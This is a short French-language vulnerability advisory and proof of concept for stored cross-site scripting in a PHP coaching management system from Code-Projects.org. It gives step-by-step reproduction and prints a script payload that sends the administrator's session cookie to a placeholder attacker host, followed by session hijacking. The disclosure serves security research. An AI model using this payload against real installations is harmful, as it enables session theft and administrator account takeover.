
Preuve de concept d'exploitation pour XSS stocké (CWE-79) dans un système de gestion de coaching en PHP, démontrant le détournement de session et l'élévation de privilèges d'étudiant à administrateur via le vol de cookies.
Coaching Management System en PHP (Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/
Inconnue (Aucune information de version fournie par le fournisseur ; testé sur la dernière version disponible sur Code-Projects.org en date d'avril 2026)
CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de la page Web (Cross-Site Scripting stocké)
L'application ne parvient pas à nettoyer correctement les entrées fournies par l'utilisateur dans la fonctionnalité de plainte et de réponse. Un JavaScript malveillant injecté par un utilisateur à faibles privilèges est stocké et exécuté lorsqu'il est consulté par des utilisateurs à privilèges plus élevés, tels que les administrateurs ou les enseignants.
De plus, la fonctionnalité de réponse est également vulnérable, permettant aux administrateurs ou aux enseignants d'injecter un JavaScript qui s'exécute dans les sessions des étudiants.
Cela entraîne une vulnérabilité XSS stocké affectant plusieurs rôles d'utilisateurs.
Se connecter en tant qu'étudiant
Naviguer vers :
/modules/student/complaint.php

Soumettre une plainte avec la charge utile suivante :
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>

Se connecter en tant qu'administrateur
Naviguer vers :
/modules/admin/incomingcomplaint.php

Lorsque l'administrateur consulte la plainte, la charge utile s'exécute automatiquement
Le cookie de session de l'administrateur est envoyé au serveur contrôlé par l'attaquant
Utiliser le cookie de session volé pour détourner la session de l'administrateur

Sévérité : CRITIQUE